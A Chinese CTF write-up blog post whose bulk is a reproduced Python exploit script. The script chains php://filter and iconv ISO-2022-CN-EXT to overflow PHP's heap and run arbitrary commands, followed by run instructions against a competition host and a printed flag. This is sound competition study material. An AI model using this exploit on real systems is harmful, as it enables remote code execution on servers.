​ step2 = chunked_chunk(step2)

​ step2 = compressed_bucket(step2)



​ step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)

​ step2_write_ptr = chunked_chunk(step2_write_ptr, CS)

​ step2_write_ptr = chunked_chunk(step2_write_ptr)

​ step2_write_ptr = compressed_bucket(step2_write_ptr)



​ step3_size = CS



​ step3 = b"\x00" * step3_size

assert len(step3) == CS

​ step3 = chunked_chunk(step3)

​ step3 = chunked_chunk(step3)

​ step3 = chunked_chunk(step3)

​ step3 = compressed_bucket(step3)



​ step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG

assert len(step3_overflow) == CS

​ step3_overflow = chunked_chunk(step3_overflow)

​ step3_overflow = chunked_chunk(step3_overflow)

​ step3_overflow = chunked_chunk(step3_overflow)

​ step3_overflow = compressed_bucket(step3_overflow)



​ step4_size = CS

​ step4 = b"=00" + b"\x00" * (step4_size - 1)

​ step4 = chunked_chunk(step4)

​ step4 = chunked_chunk(step4)

​ step4 = chunked_chunk(step4)

​ step4 = compressed_bucket(step4)



​ \# This chunk will eventually overwrite mm_heap->free_slot

​ \# it is actually allocated 0x10 bytes BEFORE it, thus the two filler values

​ step4_pwn = ptr_bucket(

0x200000,

0,

​ \# free_slot

0,

0,

​ ADDR_CUSTOM_HEAP, # 0x18

0,

0,

0,

0,

0,

0,

0,

0,

0,

0,

0,

0,

0,

​ ADDR_HEAP, # 0x140

0,

0,

0,

0,

0,

0,

0,

0,

0,

0,

0,

0,

0,

​ size=CS,

​ )



​ step4_custom_heap = ptr_bucket(

​ ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18

​ )



​ step4_use_custom_heap_size = 0x140



​ COMMAND = self.command

​ COMMAND = f"kill -9 $PPID; {COMMAND}"

if self.sleep:

​ COMMAND = f"sleep {self.sleep}; {COMMAND}"

​ COMMAND = COMMAND.encode() + b"\x00"



assert (

len(COMMAND) <= step4_use_custom_heap_size

​ ), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"

​ COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")



​ step4_use_custom_heap = COMMAND

​ step4_use_custom_heap = qpe(step4_use_custom_heap)

​ step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)

​ step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)

​ step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)

​ step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)



​ pages = (

​ step4 * 3

​ \+ step4_pwn

​ \+ step4_custom_heap

​ \+ step4_use_custom_heap

​ \+ step3_overflow

​ \+ pad * self.pad

​ \+ step1 * 3

​ \+ step2_write_ptr

​ \+ step2 * 2

​ )



​ resource = compress(compress(pages))

​ resource = b64(resource)

​ resource = f"data:text/plain;base64,{resource.decode()}"



​ filters = [

​ \# Create buckets

"zlib.inflate",

"zlib.inflate",



​ \# Step 0: Setup heap

"dechunk",

"convert.iconv.L1.L1",



​ \# Step 1: Reverse FL order

"dechunk",

"convert.iconv.L1.L1",



​ \# Step 2: Put fake pointer and make FL order back to normal

"dechunk",

"convert.iconv.L1.L1",



​ \# Step 3: Trigger overflow

"dechunk",

"convert.iconv.UTF-8.ISO-2022-CN-EXT",



​ \# Step 4: Allocate at arbitrary address and change zend_mm_heap

"convert.quoted-printable-decode",

"convert.iconv.L1.L1",

​ ]

​ filters = "|".join(filters)

​ path = f"php://filter/read={filters}/resource={resource}"



return path



@inform("Triggering...")

def exploit(self) -> None:

​ path = self.build_exploit_path()

​ start = time.time()



try:

self.remote.send(path)

except (ConnectionError, ChunkedEncodingError):

pass



​ msg_print()



if not self.sleep:

​ msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")

elif start + self.sleep <= time.time():

​ msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")

else:

​ \# Wrong heap, maybe? If the exploited suggested others, use them!

​ msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")



​ msg_print()





def compress(data) -> bytes:

"""Returns data suitable for `zlib.inflate`.

"""

\# Remove 2-byte header and 4-byte checksum

return zlib.compress(data, 9)[2:-4]





def b64(data: bytes, misalign=True) -> bytes:

payload = base64.encode(data)

if not misalign and payload.endswith("="):

raise ValueError(f"Misaligned: {data}")

return payload.encode()





def compressed_bucket(data: bytes) -> bytes:

"""Returns a chunk of size 0x8000 that, when dechunked, returns the data."""

return chunked_chunk(data, 0x8000)





def qpe(data: bytes) -> bytes:

"""Emulates quoted-printable-encode.

"""

return "".join(f"={x:02x}" for x in data).upper().encode()





def ptr_bucket(*ptrs, size=None) -> bytes:

"""Creates a 0x8000 chunk that reveals pointers after every step has been ran."""

if size is not None:

assert len(ptrs) * 8 == size

bucket = b"".join(map(p64, ptrs))

bucket = qpe(bucket)

bucket = chunked_chunk(bucket)

bucket = chunked_chunk(bucket)

bucket = chunked_chunk(bucket)

bucket = compressed_bucket(bucket)



return bucket





def chunked_chunk(data: bytes, size: int = None) -> bytes:

"""Constructs a chunked representation of the given chunk. If size is given, the

chunked representation has size `size`.

For instance, `ABCD` with size 10 becomes: `0004\nABCD\n`.

"""

\# The caller does not care about the size: let's just add 8, which is more than

\# enough

if size is None:

​ size = len(data) + 8

keep = len(data) + len(b"\n\n")

size = f"{len(data):x}".rjust(size - keep, "0")

return size.encode() + b"\n" + data + b"\n"





@dataclass

class Region:

"""A memory region."""



start: int

stop: int

permissions: str

path: str



@property

def size(self) -> int:

return self.stop - self.start





Exploit()

在网上找到了攻击脚本,根据题目进行了一点修改

在kali的虚拟环境中运行

命令

激活虚拟环境

1
source myenv/bin/activate
1
python3 cve1.py http://spring.huhstsec.top:34001/ "env > 1.txt" 

执行成功后在网站中查看1.txt

Flag

image-20260126121942730

Pwn

flag

解题思路

在虚拟机中nc连接,连上后直接执行ls的命令,然后看了bin中可执行的命令,发现有env就执行了env查看环境变量中的flag

Flag

1
Spring{b2c05802-063b-4e5a-8fbe-5b38006f6a1f}

SpringCTF wp
https://colourful228.github.io/2026/01/26/SpringCTF-wp/
作者
Colourful
发布于
2026年1月26日
更新于
2026年1月26日
许可协议